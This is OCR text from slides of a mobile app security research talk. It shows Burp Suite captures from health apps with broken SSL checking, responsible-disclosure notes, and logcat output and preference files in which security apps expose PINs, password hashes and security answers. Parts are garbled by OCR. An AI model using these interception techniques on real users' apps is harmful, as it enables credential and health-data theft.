# A Host

102 https:/ /www.geniemd.net
103 https://www.geniemd.net

| Method | URL \

PUT /GenieMD.Com/resources /Email /SignUp
POST /GenieMD.Com/resources/system/Usage

[« J
j RequestT Response ]

_[ Raw T Params THeaders THex ]

PUT /GenieMD.Com/resouwrces/Email/SignUp HTTP/1.1
accept: application/json

Content-Length: 60

Content-Type: application/json

Host: www.geniemd.net

Connection: Keep-Alive

{"email" :"I-TRUST-GENIEMD@AOL.COM", "password" :"PASSWORD123"}
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DEMO: LowestMed corporate

8 OO0

Burp Intruder Repeater Window Help

l Target | Proxy TSpider TScanner T Intruc

[ -
® OO Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1... [ Intercept ] HTTP history TWebSockets histd

I R R R-R- 5

Filter: Showing all items

# A | Host | Metho
Lowes"Med corporate 69 http://maps.googleapis.com GET
70 https://corp.lowestmed.com CET
71 https://corp.lowestmed.com GET
72 http://maps.gstatic.com GET
73 http://maps.gstatic.com GET
74 http://maps.gstatic.com GET
75 http://maps.gstatic.com GET
TESTUSER 76 http://maps.googleapis.com GET
77 http://csi.gstatic.com GET

78 https://corp.lowestmed.com GET

ELS
Remember me [ Request | Response |

| Raw | Params THeaders THex ]

GET request to /Services2/Jsonp/Authenticate

wd .« Value

...... TESTUSER

...... TESTPASS

...... JjQueryl7106401891100686044_14324
...... 1432410899233
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LowestMed Response

* Phone call to President of CCSF threatening a
lawsuit

e After | contacted their lawyer, he told me that
there is no Pll in the app beyond this point, so
it is not a covered entity under HIPAA
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Broken SSL
Testing New Apps
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Responsible Disclosure

* | need to give these guys time to respond, so
most of them are still confidential

* | can discuss one, because they fixed it really
fast!
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Blue Cross Blue Shield of North

- APl 1

al! l g ueg 9-gg

Genymotion for personal use - Google Galaxy Nexus - 4.3

LN Student Blue Connect
NC .
STUDENT Mobl Ie

BCBSNC

INSTALL

L9200

Downloads Health & Fitness Similar

Access a personalized dashboard that
helps you take control of your health care.

READ MORE

Carolina

(=17} Blue Connect Mobile
\[@ BCBSNC

INSTALL

L2900

Downloads 92 Health & Fitness Similar

Access a personalized dashboard that
helps you take control of your health care.

READ MORE
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Leaked Blue Cross Credentials

e 00 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

ilguauag

1 FredericksPolls, LLC; November 2010

2 Consortium Health Plans, Inc., MarketQuest Network
Compare, April 2013

3 Covered in more than 200 countries and territories
worldwide through BlueCard®® program. Blue Cross and

Blue Shield Association. www.bcbs.com/coverage/

bluecard/ (Accessed June 2011)

About BCBSNC
Privacy and Usage Fraud and Abuse
Contact Us

Home Blue Connect

Find Us On: ) )
© 2015 Blue Cross and Blue Shield of North Carolina is an
independent licensee of the Blue Cross and Blue Shield
Association. SM, ® Marks of the Blue Cross and Blue Shield
Association. iPhone is a registered trademark of Apple Inc
Android is a trademark of Google Inc. Use of this trademark

is subject to Google Permissions

* Also leaked Facebook,
Twitter, and YouTube
credentials
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Fixed in Two Days

® O O <o Genymotion for personal use - Google Galaxy Nexus - 4.3 - AP 1...

e New version refuses to
use invalid SSL
certificates

Security Error

The connection with Blue Connect
Mobile is not secure.

Go to BlueConnectNC.com on your

mobile Web browser to access Blue
Connect.
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Security Products
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AlG MobileGuard

©® O O -0 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

AIG Mobile Guard

cad  Inhance Technology

Users also installed

‘&

Callout 3D Kosovo Atmospher
Balloon Cube Flag e 2015
e e FREE *kkkx#¥ FREE *kkkd FREE

#ATM15

©® O O -0 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

AlG| MobileGuard [
PIN Number 1 2 -e

Here is your four Digit PIN for
AIG MobileGuard.

Keep this number safe. Use it
for...

...Unlocking your device
...Changing your settings
...SMS locking your device

Modify PIN Use This PIN
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Already Trojaned ©

D/dalvikvm( 9603): GC_CONCURRENT freed 2060K, 15% free 17041K/19872K, paused 5ms+2ms, total 34ms
W/genymotion_audio( 377): out_write() limiting sleep time 69659 to 23219

W/genymotion_audio( 377): out_write() limiting sleep time 46439 to 23219

D/update (11670): serverUrl-—->https://aig.yougetitback.com/

D/update (11670): settingsUrl-->vaultUpdateSettings?

D/update (11670): password-—>e9dc70a33f8a0d994279890ba3014052db2797bd

D/update (11670): tagCode-->137532201849692

D/update (11670): encodedXmlData-——>%3c%3fxm1%20version%3d'1.0'%20encoding%3d' UTF-8'%3f%3e%3cConfig%3e%3
cSettings%3e%3cPin%3e0000%3c%2 fPin%3e%3c%2fSettings%3e%3c%2fConfig%3e

D/YGIB Test(11670): con.getResponseCode()-->200

D/YGIB Test(11670): urlString-—>https://aig.yougetitback.com/vaultUpdateSettings?pword=e9dc70a33f8a0d994
279890ba3014052db2797bd&tagid=137532201849692&type=S

D/YGIB Test(11670): content——>%3c%3fxm1%20version%3d'1.0'%20encoding%3d' UTF-8'%3f%3e%3cConfig%3e%3cSetti
ngs%3e%3cPin%3e0000%3c%2fPin%3e%3c%2fSettings%3e%3c%2fConfig%3e

I/ActivityManager( 9603): START u@® {cmp=com.yougetitback.androidapplication.aig.mobile/com.yougetitback.

- ) N - . N . -
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Local Storage of Sensitive Data

E] SuperheroPrefsFile.xml - /Users/sambowne/Documents/finapps/aigm/data/com.yougeti
B e (Q )

<string name="registrationresult'>@</string>
<string name="temporary_answer">Slartibartfast</string>

<string name="tagregisteredalready'">false</string>

<string name="offlinelLock">off</string>

<string name="simLock'">off</string>

<string name="numCalls'"></string>

<string name="imei''>000000000000000</string>

<string name="answer">Slartibartfast</string>

<string name="countryCode">CH</string>

<string name="activationresult'">@</string>

<string name="DataBackup_enabled">false</string>

<boolean name="PinAcknowledged" value="true" />

<string name="Fraud_enabled">false</string>

<string name="finalPrefixList">,,</string>

<string name="imsi''></string>

<string name="activationdevicecode'>133987271194774</string>

<int name="temporary_question" value="@" />

<string name="countrylLock">off</string>

<string name="interval''></string>

<string name="urlPassword">0e70c770c25afeb4c6677384d7b4740489378d35</
<string name="version'>3.0</string>

<string name="internationalPrefixList">00,</string>
<string name="messagelUrl">callWMainETagUSA?</string>
<string name="autolocked">off</string>

<string name='"tagcode''>133987271194774</string>

<string name="restoreUrl">restorecontacts?</string>
<string name="question">My mothers maiden name</string>
<string name="serverUrl'>https://aig.yougetitback.com/</string>
<string name="callCentreNumber'>008008555885 i
<string name="temporarypin'>3362</string
<boolean name="activationAckServiceRunning
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DEMO: MobileSuperHero
(10,000)

e 00 Genymotion for personal use - Google Galaxy Nexus - 4.3 - APl 1...

@M°b'le5“Pe’he’° . « « +« « .+ . . sambowne Sat May 23
N y 2O platform-tools $./adb logcat | grep encod
D/update (28608): encodedXmlData-->%3c%3fxm
Enter a secure four digit pin %3e%3CcP1n%3€ 1337 563¢c%2fPin%3e%3c%2fSettings%3
number that you will easily D/YGIB Test(28608): content-->%3c%3fxml%20ve
remember. Pin%3€1337 53c%2fPin%3e%3c%2fSettingss3e%3c%2

New PIN 1337
Confirm PIN 1337

Security Question

T o« ¢ Logs the PIN
* Last update 12-13-12

— . O =
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DEMO: Virgin Mobile Rescue
(100,000)

e

® O O <o Genymotion for personal use - Google Galaxy Nexus

. . Sambowne Sat May 23
platform-tools $ /adb logcat | grep encod
D/update ( 3132): encodedXmlData——>%3c%3fxn
Right, now pick a 4 digit PIN that %3€%3CP1in%3€ 1338 563C%2fPin%3e%3c%2fSettings%3
el ezl e e D/YGIB Test( 3132): content-—>%3c%3fxml%20ve

New PIN Pin%3€133853¢c%2fPin%3e%3c%2fSettings%3e%3c%2
Type it again 1338

Security question

............ ° Logs the PlN
* Last update 7-22-13

Must uninstall Mobile
Superhero to use it

mmmmm

PIN number
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DEMO: Rebound (50)

-4.3-API1...

e 00 Genymotion for personal use - Google Galaxy Nexus

sambowne Sat May 23

bound® _ platform-tools $ /adb logcat | grep encod
PIN Number - ° D/update ( 3350): encodedXmlData-—>%3c%3fxn
Enter a secure four digit pin %3€%3CP1in%3€1339%3C%2TPin%3e%3c%2fSettings%s3
remember. Bin%3e 1339 53¢c%2fPin%3e%3c%2fSettings%3e%3C%2

Confim P * Logs the PIN

Security Question e

* Last update 7-16-13

Cancel Save

— . O =
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DEMO: Rebound Mobile Security

bound®

e « « 4« 4« « « « .« sambowne Sat May 23
Enter a secure four digit pin platform-tools $./adb logcat | grep encod
number that you will easily D/update ( 3724): encodedXmlData-->%3c%3fxn
remember. %3€%3CP1in%3¢€ 1340‘53c%2TfPin%s3e%3c%s2fSettings%:
D/YGIB Test( 3724): content——>%3c%3fxml%20ve
AL 1340 Pin%3el340's3c%2fPin%3e%3c%2fSettings%3e%3c%:

Confirm PIN 1340

Security Question

iy mothers aiden name * Logs the PIN
Ml 8 e+ Last updated 11-7-2013

N o —
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